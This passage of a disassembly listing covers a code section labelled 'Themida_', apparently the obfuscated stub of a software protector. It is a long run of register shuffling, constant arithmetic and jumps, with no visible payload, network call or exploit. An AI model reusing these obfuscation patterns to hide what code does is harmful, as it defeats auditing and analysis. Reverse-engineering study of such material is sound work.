		sub	ecx, eax
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		and	[edi+1Ch], esi
		jmp	loc_56463F
; ---------------------------------------------------------------------------


loc_555320:				; CODE XREF: Themida_:00554B4Ej
		pop	ecx
		jmp	loc_561F20
; ---------------------------------------------------------------------------


loc_555326:				; CODE XREF: Themida_:0055FE64j
		pop	ebx
		jmp	loc_565362
; ---------------------------------------------------------------------------


loc_55532C:				; CODE XREF: Themida_:0056128Aj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_553DC6
; ---------------------------------------------------------------------------


loc_555335:				; CODE XREF: Themida_:0055F6F5j
		add	eax, 716259A2h
		sub	eax, esi
		push	edi
		jmp	loc_55639A
; ---------------------------------------------------------------------------


loc_555342:				; CODE XREF: Themida_:0055994Ej
		add	edi, 4
		add	edi, 2
		jmp	loc_552472
; ---------------------------------------------------------------------------


loc_555350:				; CODE XREF: Themida_:0055EA8Dj
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_55DED2
; ---------------------------------------------------------------------------


loc_55535C:				; CODE XREF: Themida_:00564387j
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 9285E45h
		and	ebx, 1F837E8Ch
		shr	ebx, 4
		jmp	loc_5614C5
; ---------------------------------------------------------------------------


loc_55537A:				; CODE XREF: Themida_:00551083j
		add	bl, al
		sub	bl, 80h
		sub	bl, 5Bh
		pop	eax
		push	ecx
		push	6531h
		jmp	loc_55FEAD
; ---------------------------------------------------------------------------


loc_55538E:				; CODE XREF: Themida_:0055CADEj
		add	esi, ecx
		sub	esi, 15DE661Bh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5528B7
; ---------------------------------------------------------------------------


loc_5553A4:				; CODE XREF: Themida_:0055638Bj
		pop	edi
		sub	ebx, 6D371430h
		jmp	loc_557956
; ---------------------------------------------------------------------------


loc_5553B0:				; CODE XREF: Themida_:00551C20j
		add	bl, 0DCh
		pop	ecx
		push	ecx
		mov	cl, 62h
		or	bl, cl
		pop	ecx
		push	eax
		jmp	loc_555482
; ---------------------------------------------------------------------------


loc_5553C0:				; CODE XREF: Themida_:005653C6j
		pop	edi
		jmp	loc_552D93
; ---------------------------------------------------------------------------


loc_5553C6:				; CODE XREF: Themida_:00562EADj
		mov	edx, eax
		jmp	loc_553419
; ---------------------------------------------------------------------------


loc_5553CD:				; CODE XREF: Themida_:005630D1j
		shl	al, 6
		push	ebx
		mov	bh, 3Bh
		and	bh, 0AAh
		xor	bh, 94h
		add	bh, 0F9h
		xor	al, bh
		pop	ebx
		add	al, 40h
		and	dl, al
		jmp	loc_557338
; ---------------------------------------------------------------------------


loc_5553E8:				; CODE XREF: Themida_:00559EC4j
		neg	eax
		jmp	loc_55EBAE
; ---------------------------------------------------------------------------


loc_5553EF:				; CODE XREF: Themida_:00558598j
		mov	edi, [esp]
		add	esp, 4
		shr	ebx, 5
		jmp	loc_55FE4D
; ---------------------------------------------------------------------------


loc_555400:				; CODE XREF: Themida_:005570B0j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_555412:				; CODE XREF: Themida_:0055862Fj
		pop	edx
		add	edx, 12CC31C5h
		add	edx, 0FFFFFFFFh
		push	ebx
		jmp	loc_5656B7
; ---------------------------------------------------------------------------


loc_555422:				; CODE XREF: Themida_:0055FB8Fj
		push	edx
		push	esi
		mov	esi, 2
		jmp	loc_55F78A
; ---------------------------------------------------------------------------


loc_55542E:				; CODE XREF: Themida_:00556647j
		sub	edi, eax
		pop	eax
		add	edi, 6CF80090h
		sub	edi, edx
		sub	edi, 6CF80090h
		add	edi, 67BD4FB9h
		jmp	loc_551DED
; ---------------------------------------------------------------------------


loc_55544A:				; CODE XREF: Themida_:00558DC4j
		add	edx, 80F961B1h
		add	ecx, edx
		jmp	loc_5596B5
; ---------------------------------------------------------------------------


loc_555457:				; CODE XREF: Themida_:0055F223j
		mov	ecx, 67B942A9h
		jmp	loc_55D8EE
; ---------------------------------------------------------------------------


loc_555461:				; CODE XREF: Themida_:00558109j
		add	eax, 877A5A25h
		sub	edi, eax
		pop	eax
		not	edi
		sub	edi, 0D599BA7Eh
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_564256
; ---------------------------------------------------------------------------


loc_555482:				; CODE XREF: Themida_:005553BBj
		mov	ah, 34h
		sub	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	al, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5655F3
; ---------------------------------------------------------------------------


loc_5554B8:				; CODE XREF: Themida_:005616E6j
		push	379B0306h
		pop	ecx
		push	ebp
		mov	ebp, 379B0302h
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_55492B
; ---------------------------------------------------------------------------


loc_5554E2:				; CODE XREF: Themida_:005549A2j
		push	eax
		push	edx
		mov	edx, 2765552Ch
		sub	[esp+4], edx
		pop	edx
		pop	esi
		jmp	loc_5603EB
; ---------------------------------------------------------------------------


loc_5554F4:				; CODE XREF: Themida_:00564CF2j
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_555508:				; CODE XREF: Themida_:0055DE20j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 77D57B7Ch
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550D42
; ---------------------------------------------------------------------------


loc_55552C:				; CODE XREF: Themida_:005535DFj
		sub	edi, 357E4BC8h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		push	3F67h
		mov	[esp], edx
		push	429C44FDh
		pop	edx
		push	ebx
		mov	ebx, 6B45086Bh
		and	ebx, 76D461F0h
		and	ebx, 49B17B0Bh
		sub	ebx, 1E2BB6F2h
		or	edx, ebx
		pop	ebx
		shl	edx, 2
		push	20F0h
		mov	[esp], eax
		mov	eax, 562F2AC7h
		or	edx, eax
		mov	eax, [esp]
		jmp	loc_55DEEC
; ---------------------------------------------------------------------------


loc_555580:				; CODE XREF: Themida_:00556F2Dj
		or	cl, ah
		pop	eax
		push	small 0C1Bh
		mov	[esp], ax
		mov	ah, 1
		jmp	loc_560AA6
; ---------------------------------------------------------------------------


loc_555592:				; CODE XREF: Themida_:00553C89j
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	edi, 643D9201h
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5659CB
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_5653FD
; ---------------------------------------------------------------------------


loc_5555BB:				; CODE XREF: Themida_:00564FA2j
		add	esi, 1
		jmp	loc_563274
; ---------------------------------------------------------------------------


loc_5555C6:				; CODE XREF: Themida_:00562CB4j
		add	esp, 4
		push	eax
		jmp	loc_558B00
; ---------------------------------------------------------------------------


loc_5555D2:				; CODE XREF: Themida_:00550938j
		mov	al, dl
		pop	edx
		mov	bh, [esp+4]
		mov	[esp+4], al
		jmp	loc_559B31
; ---------------------------------------------------------------------------


loc_5555E2:				; CODE XREF: Themida_:00564D7Bj
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	53A2h
		mov	[esp], eax
		push	ebx
		jmp	loc_55334F
; ---------------------------------------------------------------------------


loc_5555FB:				; CODE XREF: Themida_:005631ADj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_5613A3
; ---------------------------------------------------------------------------


loc_555609:				; CODE XREF: Themida_:0056524Cj
		sub	ecx, 8DF8166h
		add	ebx, 2E354506h
		add	ebx, ecx
		sub	ebx, 2E354506h
		pop	ecx
		mov	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 7C7644CFh
		sub	eax, ebp
		pop	ebp
		add	eax, edx
		push	ebx
		mov	ebx, 56A10305h
		jmp	loc_554FC4
; ---------------------------------------------------------------------------


loc_555637:				; CODE XREF: Themida_:0055DA88j
		dec	eax
		shl	eax, 8
		jmp	loc_55BBEC
; ---------------------------------------------------------------------------


loc_555640:				; CODE XREF: Themida_:00556E7Dj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		jmp	near ptr word_55276A
; ---------------------------------------------------------------------------


loc_555650:				; CODE XREF: Themida_:0056296Cj
		mov	ecx, [esp]
		jmp	loc_561755
; ---------------------------------------------------------------------------


loc_555658:				; CODE XREF: Themida_:00559997j
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 0E7h
		and	ch, 37h
		inc	ch
		xor	ch, 9Bh
		dec	ch
		xor	ch, 68h
		add	al, ch
		pop	ecx
		add	al, cl
		sub	al, 0DAh
		push	bx
		mov	bl, 70h
		add	al, bl
		pop	bx
		pop	ecx
		push	ebp
		jmp	loc_563A4E
; ---------------------------------------------------------------------------


loc_555682:				; CODE XREF: Themida_:0056326Fj
		mov	ch, 0B7h
		push	cx
		mov	ch, 0D1h
		push	edx
		mov	dh, 1Ch
		not	dh
		sub	dh, 0D9h
		sub	dh, 0E9h
		jmp	loc_564415
; ---------------------------------------------------------------------------


loc_555698:				; CODE XREF: Themida_:00564FFDj
		add	esi, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55D8DC
; ---------------------------------------------------------------------------


loc_5556A5:				; CODE XREF: Themida_:00564E93j
		pop	edi
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6EAF2C66h
		sub	[esp+4], esi
		pop	esi
		push	ebx
		mov	ebx, 75BA3676h
		sub	dword ptr [esp+4], 11F5200Ah
		jmp	loc_557304
; ---------------------------------------------------------------------------


loc_5556DE:				; CODE XREF: Themida_:00559DFAj
		push	ebx
		push	ebp
		jmp	loc_55EFBF
; ---------------------------------------------------------------------------


loc_5556E5:				; CODE XREF: Themida_:0056058Dj
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, 722065B7h
		jmp	loc_55E51B
; ---------------------------------------------------------------------------


loc_5556F9:				; CODE XREF: Themida_:005593F5j
		push	edi
		mov	edi, 0CBE5C14h
		shl	edi, 5
		or	edi, 2A1E38D0h
		xor	edi, 0DA82E3F3h
		mov	ebx, edi
		pop	edi
		push	edx
		mov	edx, 63577F2Ah
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_552CE3
; ---------------------------------------------------------------------------


loc_555720:				; CODE XREF: Themida_:0055377Ej
		pop	ebx
		jmp	loc_55E5FE
; ---------------------------------------------------------------------------


loc_555726:				; CODE XREF: Themida_:005640BEj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7105h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 8D251B8h
		jmp	loc_561918
; ---------------------------------------------------------------------------


loc_555757:				; CODE XREF: Themida_:0055BF07j
		push	ecx
		push	42D4h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_563988
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 320A6291h
		sub	eax, 4E4136C4h
		sub	eax, ebx
		push	edx
		mov	edx, 4E4136C4h
		sub	eax, 329576E3h
		add	eax, edx
		add	eax, 329576E3h
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55EA5D
; ---------------------------------------------------------------------------


loc_5557A2:				; CODE XREF: Themida_:0055854Dj
		not	esi
		inc	esi
		add	esi, 0D6AF4F70h
		sub	eax, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55E20F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		jmp	loc_55145F
; ---------------------------------------------------------------------------


loc_5557CA:				; CODE XREF: Themida_:00559E66j
		sub	eax, 66DF7AD7h
		mov	ecx, [esp]
		push	3A64h
		jmp	loc_5602AC
; ---------------------------------------------------------------------------


loc_5557DC:				; CODE XREF: Themida_:00552381j
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_558CDD
; ---------------------------------------------------------------------------


loc_5557F0:				; CODE XREF: Themida_:0055B46Bj
		sub	edx, 19A375FDh
		pop	edi
		jmp	loc_55857E
; ---------------------------------------------------------------------------


loc_5557FC:				; CODE XREF: Themida_:005591CDj
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_562770
; ---------------------------------------------------------------------------


loc_555806:				; CODE XREF: Themida_:0055B9A1j
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 36h
		jmp	loc_55D4CB
; ---------------------------------------------------------------------------


loc_555816:				; CODE XREF: Themida_:0055432Dj
		push	1E6Eh
		jmp	loc_5577C0
; ---------------------------------------------------------------------------


loc_555820:				; CODE XREF: Themida_:0055EF56j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_564934
; ---------------------------------------------------------------------------


loc_555836:				; CODE XREF: Themida_:00557295j
		add	ecx, edx
		sub	ecx, 90A3277h
		jmp	loc_557B46
; ---------------------------------------------------------------------------


loc_555843:				; CODE XREF: Themida_:0055F6D9j
		push	398Fh
		mov	[esp], ebp
		pop	edx
		pop	ebp
		jmp	loc_55CE44
; ---------------------------------------------------------------------------


loc_555852:				; CODE XREF: Themida_:00556DEFj
		pop	esp
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_562971
; ---------------------------------------------------------------------------


loc_55585C:				; CODE XREF: Themida_:00559B2Cj
		sub	eax, 1CFE0E48h
		add	eax, esi
		push	esi
		mov	esi, 1CFE0E48h
		add	eax, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2CAB3C24h
		push	0
		sub	dword ptr [esp], 15A97FD1h
		sub	[esp], ebx
		add	dword ptr [esp], 15A97FD1h
		pop	ebx
		or	ebx, 7FF4486Ch
		xor	ebx, 0FFF4CBF8h
		jmp	loc_55A525
; ---------------------------------------------------------------------------


loc_5558A3:				; CODE XREF: Themida_:005652E4j
		add	eax, 3560E91Ch
		xor	ebp, eax
		jmp	loc_5633ED
; ---------------------------------------------------------------------------


loc_5558AF:				; CODE XREF: Themida_:0055C4EEj
		add	edx, 29478719h
		add	edx, 7DFA6347h
		neg	edx
		or	edx, 5C1F2A92h
		and	edx, 617F4AF1h
		xor	edx, 8208D9CAh
		jmp	loc_563EE2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5517DC
; ---------------------------------------------------------------------------


loc_5558E5:				; CODE XREF: Themida_:00562B4Bj
		push	eax
		mov	eax, 4
		jmp	loc_559221
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	624Eh
		jmp	loc_552643
; ---------------------------------------------------------------------------


loc_5558FE:				; CODE XREF: Themida_:005607FAj
		push	ecx
		jmp	loc_556338
; ---------------------------------------------------------------------------


loc_555904:				; CODE XREF: Themida_:00551F69j
		inc	ebp
		not	ebp
		xor	ebp, 0B97BFF37h
		sub	ebx, ebp
		pop	ebp
		add	ebx, 58850431h
		add	ebx, edx
		sub	ebx, 58850431h
		add	ebx, 67C4228Ah
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_559BC4
; ---------------------------------------------------------------------------


loc_555930:				; CODE XREF: Themida_:0055C1C3j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55C10D
; ---------------------------------------------------------------------------


loc_55593A:				; CODE XREF: Themida_:00562BBFj
		add	esp, 4
		jmp	loc_55EDCA
; ---------------------------------------------------------------------------


loc_555945:				; CODE XREF: Themida_:00554D2Ej
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5597CC
; ---------------------------------------------------------------------------


loc_555955:				; CODE XREF: Themida_:00557074j
		neg	edi
		sub	edi, 96116DAh
		shr	edi, 8
		neg	edi
		xor	edi, 0FF5A785Bh
		sub	ecx, 214172CEh
		add	ecx, edi
		jmp	loc_550493
; ---------------------------------------------------------------------------


loc_555975:				; CODE XREF: Themida_:0055CD7Cj
		mov	[esp], bx
		push	ebp
		mov	bp, 96Fh
		or	bp, 476Eh
		shl	bp, 8
		shl	bp, 4
		not	bp
		push	ecx
		push	eax
		jmp	loc_55B887
; ---------------------------------------------------------------------------


loc_555995:				; CODE XREF: Themida_:0055F6B3j
		push	edx
		mov	edx, 2AF272D3h
		sub	esi, edx
		pop	edx
		xor	esi, 508DD028h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_560DC1
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5513D7
; ---------------------------------------------------------------------------


loc_5559C3:				; CODE XREF: Themida_:0055BA5Dj
		sub	eax, 66D55C41h
		and	eax, 596B5A08h
		jmp	loc_55CBB0
; ---------------------------------------------------------------------------


loc_5559D2:				; CODE XREF: Themida_:00554C49j
		add	dword ptr [esp], 247C0FA7h
		pop	ecx
		sub	ecx, 247C0FA7h
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55FBF1
; ---------------------------------------------------------------------------


loc_5559F1:				; CODE XREF: Themida_:00558C40j
		push	ebx
		push	5479h
		mov	[esp], esp
		push	edx
		push	ecx
		push	5B7D5140h
		pop	ecx
		inc	ecx
		jmp	loc_55DBEE
; ---------------------------------------------------------------------------


loc_555A08:				; CODE XREF: Themida_:0055E4D0j
		pop	ecx
		inc	ah
		shl	ah, 6
		inc	ah
		sub	ah, 29h
		or	ah, 0D4h
		shr	ah, 7
		or	ah, 5Eh
		jmp	loc_554588
; ---------------------------------------------------------------------------


loc_555A21:				; CODE XREF: Themida_:0055F257j
		mov	edi, 72EC3952h
		sub	esi, edi
		pop	edi
		add	esi, 53852197h
		add	esi, ebp
		sub	esi, 53852197h
		push	ebx
		mov	ebx, 3C8E097Ch
		dec	ebx
		and	ebx, 69955A1Eh
		add	ebx, 7B947831h
		xor	ebx, 67F377ECh
		add	ebx, 34CD661Fh
		sub	ebx, 85CD2474h
		jmp	loc_556F4E
; ---------------------------------------------------------------------------


loc_555A61:				; CODE XREF: Themida_:00562F52j
		pop	esp
		push	7705h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_55D07B
; ---------------------------------------------------------------------------


loc_555A80:				; CODE XREF: Themida_:0055401Aj
		pop	edx
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, edx
		push	ecx
		mov	ecx, 4E05314Ch
		shl	ecx, 6
		and	ecx, 20246196h
		xor	ecx, 6D9A22D5h
		push	edi
		mov	edi, 5F466078h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 65AE00E9h
		inc	esi
		sub	esi, 1
		jmp	loc_5596F1
; ---------------------------------------------------------------------------


loc_555AC9:				; CODE XREF: Themida_:0055CCF0j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B6B4
; ---------------------------------------------------------------------------


loc_555AD8:				; CODE XREF: Themida_:00552AA2j
		sub	[esp+8], eax
		sub	dword ptr [esp+8], 26A43B2Fh
		pop	eax
		sub	[esp+4], ecx
		push	edi
		mov	edi, 2534383Dh
		sub	dword ptr [esp+8], 7D533258h
		add	dword ptr [esp+8], 1A8F07B2h
		add	[esp+8], edi
		jmp	loc_55E406
; ---------------------------------------------------------------------------


loc_555B08:				; CODE XREF: Themida_:0055490Bj
		dec	ebp
		or	ebp, 3B3209D6h
		xor	ebp, 7F7A29FBh
		jmp	loc_564EB3
; ---------------------------------------------------------------------------


loc_555B1A:				; CODE XREF: Themida_:0055B492j
		mov	ch, 31h
		mov	dh, 5Fh
		sub	dh, 97h
		jmp	loc_55FD45
; ---------------------------------------------------------------------------


loc_555B26:				; CODE XREF: Themida_:00563460j
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		push	4811h
		mov	[esp], ebx
		push	edi
		jmp	loc_562070
; ---------------------------------------------------------------------------


loc_555B4F:				; CODE XREF: Themida_:00554994j
		mov	edi, 17A743D8h
		mov	ebx, 17A743DCh
		sub	ebx, edi
		push	dword ptr [esp]
		jmp	loc_55A17A
; ---------------------------------------------------------------------------


loc_555B63:				; CODE XREF: Themida_:00558857j
		push	ecx
		mov	ecx, 4
		jmp	loc_55DE40
; ---------------------------------------------------------------------------


loc_555B6E:				; CODE XREF: Themida_:005622FEj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56479D
; ---------------------------------------------------------------------------


loc_555B77:				; CODE XREF: Themida_:0055856Fj
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55D243
; ---------------------------------------------------------------------------


loc_555B90:				; CODE XREF: Themida_:00554F02j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_556E79
; ---------------------------------------------------------------------------


loc_555BAE:				; CODE XREF: Themida_:00563E81j
		pop	esi
		jmp	loc_565867
; ---------------------------------------------------------------------------


loc_555BB4:				; CODE XREF: Themida_:00552A84j
		add	dword ptr [esp+4], 65167483h
		sub	dword ptr [esp+4], 4E874BB2h
		jmp	loc_55CC69
; ---------------------------------------------------------------------------


loc_555BC9:				; CODE XREF: Themida_:0055AC40j
		and	cl, 7Ch
		push	small 3206h
		mov	[esp], ax
		mov	ah, 0Fh
		add	cl, 0B9h
		sub	cl, ah
		sub	cl, 0B9h
		pop	ax
		xor	al, cl
		mov	ecx, [esp]
		push	eax
		jmp	loc_551B82
; ---------------------------------------------------------------------------


loc_555BEB:				; CODE XREF: Themida_:005635F8j
		push	edi
		jmp	loc_55CE92
; ---------------------------------------------------------------------------


loc_555BF1:				; CODE XREF: Themida_:0055802Aj
		mov	eax, 4
		sub	edi, eax
		pop	eax
		jmp	loc_55169F
; ---------------------------------------------------------------------------
word_555BFE	dw 2489h		; CODE XREF: Themida_:00563DC9j
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 8Bh
		xor	al, 24h
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5589BA
; ---------------------------------------------------------------------------


loc_555C1F:				; CODE XREF: Themida_:00563803j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5647E2
; ---------------------------------------------------------------------------


loc_555C35:				; CODE XREF: Themida_:005606DFj
		dec	edx
		xor	edx, 54E27586h
		sub	edx, 3344433Dh
		add	esi, edx
		pop	edx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_563C8D
; ---------------------------------------------------------------------------


loc_555C5C:				; CODE XREF: Themida_:0055612Cj
		add	esp, 4
		shl	edi, 6
		push	esi
		mov	esi, 14D38BA3h
		jmp	loc_55B67A
; ---------------------------------------------------------------------------


loc_555C6D:				; CODE XREF: Themida_:00560A02j
		pop	esp
		sub	edx, 4F21F3FEh
		sub	edi, 5D65E47h
		push	eax
		jmp	loc_55299E
; ---------------------------------------------------------------------------


loc_555C80:				; CODE XREF: Themida_:00559FE3j
		push	edi
		mov	edi, 7DAD1155h
		add	edi, 9C8D5332h
		add	eax, edi
		pop	edi
		jmp	loc_55E2A4
; ---------------------------------------------------------------------------


loc_555C94:				; CODE XREF: Themida_:00554989j
		pop	edx
		jmp	loc_561AD5
; ---------------------------------------------------------------------------


loc_555C9A:				; CODE XREF: Themida_:0055E853j
		push	ebp
		mov	ebp, 6EA104FFh
		neg	ebp
		jmp	loc_55320C
; ---------------------------------------------------------------------------


loc_555CA7:				; CODE XREF: Themida_:005646ACj
		sub	ecx, 7F195E2Ah
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_55B3EE
; ---------------------------------------------------------------------------


loc_555CC1:				; CODE XREF: Themida_:005608CEj
		add	ebx, esi
		jmp	loc_5543FC
; ---------------------------------------------------------------------------


loc_555CC8:				; CODE XREF: Themida_:00550446j
		mov	[esp], edx
		push	719Fh
		jmp	loc_55EF16
; ---------------------------------------------------------------------------


loc_555CD5:				; CODE XREF: Themida_:0055157Dj
		dec	eax
		or	eax, 20B66178h
		neg	eax
		add	eax, 5EC0A969h
		mov	edx, eax
		pop	eax
		neg	edx
		xor	edx, 21884E75h
		sub	esi, edx
		jmp	loc_55B121
; ---------------------------------------------------------------------------


loc_555CF4:				; CODE XREF: Themida_:0055FA0Bj
		mov	[esp], ebx
		push	764Bh
		mov	[esp], esi
		mov	esi, 1EDA3950h
		mov	ebx, esi
		pop	esi
		mov	ecx, 53054FE0h
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55F07C
; ---------------------------------------------------------------------------


loc_555D16:				; CODE XREF: Themida_:005541A3j
		push	dword ptr [edi+eax*4]
		push	3707h
		mov	[esp], edi
		jmp	loc_55C76C
; ---------------------------------------------------------------------------


loc_555D26:				; CODE XREF: Themida_:00560D1Cj
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_558EE5
; ---------------------------------------------------------------------------


loc_555D36:				; CODE XREF: Themida_:0055AF64j
		push	ebx
		jmp	loc_55968F
; ---------------------------------------------------------------------------


loc_555D3C:				; CODE XREF: Themida_:00550B33j
		pop	edx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_554D74
; ---------------------------------------------------------------------------


loc_555D58:				; CODE XREF: Themida_:0055E556j
		pop	ebp
		jmp	loc_5600D8
; ---------------------------------------------------------------------------


loc_555D5E:				; CODE XREF: Themida_:00562CACj
		mov	ebp, 4
		jmp	loc_561E7D
; ---------------------------------------------------------------------------


loc_555D68:				; CODE XREF: Themida_:00559BD5j
		mov	eax, 2
		jmp	loc_564768
; ---------------------------------------------------------------------------


loc_555D72:				; CODE XREF: Themida_:0055888Aj
		mov	bx, [esp]
		jmp	loc_551E85
; ---------------------------------------------------------------------------
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 6D7F6FF5h
		push	eax
		mov	eax, 7CD63EAh
		sub	eax, 6DC76BE0h
		jmp	loc_55CE00
; ---------------------------------------------------------------------------


loc_555D9B:				; CODE XREF: Themida_:00552017j
		push	0E3E799Bh
		pop	esi
		push	ebx
		mov	ebx, 0E3E7997h
		sub	esi, 27540099h
		sub	esi, ebx
		add	esi, 27540099h
		jmp	loc_55FEB5
; ---------------------------------------------------------------------------


loc_555DBA:				; CODE XREF: Themida_:00562036j
		mov	esi, [esp]
		jmp	loc_5524EA
; ---------------------------------------------------------------------------


loc_555DC2:				; CODE XREF: Themida_:00558A73j
		mov	ebp, esp
		jmp	loc_55AF9B
; ---------------------------------------------------------------------------


loc_555DC9:				; CODE XREF: Themida_:00562DCBj
		sub	edi, 618D153Bh
		push	edx
		mov	edx, 0EE264D9h
		jmp	loc_56470D
; ---------------------------------------------------------------------------


loc_555DDA:				; CODE XREF: Themida_:00561ED3j
		pop	edi
		and	ecx, 37405407h
		jmp	loc_558BDD
; ---------------------------------------------------------------------------


loc_555DE6:				; CODE XREF: Themida_:00564A1Aj
		pop	ebx
		jmp	loc_553487
; ---------------------------------------------------------------------------


loc_555DEC:				; CODE XREF: Themida_:005655A3j
		push	edx
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55EC9B
; ---------------------------------------------------------------------------


loc_555E02:				; CODE XREF: Themida_:00563DD5j
		add	esp, 4
		add	esi, 0E5FDA294h
		add	ebp, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555FC4
; ---------------------------------------------------------------------------


loc_555E21:				; CODE XREF: Themida_:00558E64j
		push	eax
		mov	eax, 0C430E45Fh
		sub	esi, 3FFD3B1Eh
		add	esi, eax
		jmp	loc_558426
; ---------------------------------------------------------------------------


loc_555E34:				; CODE XREF: Themida_:0055CB23j
		sub	esi, 407432E7h
		push	ebp
		jmp	loc_5562B3
; ---------------------------------------------------------------------------


loc_555E40:				; CODE XREF: Themida_:00562E9Fj
		add	esp, 4
		add	esp, 4
		jmp	loc_550782
; ---------------------------------------------------------------------------


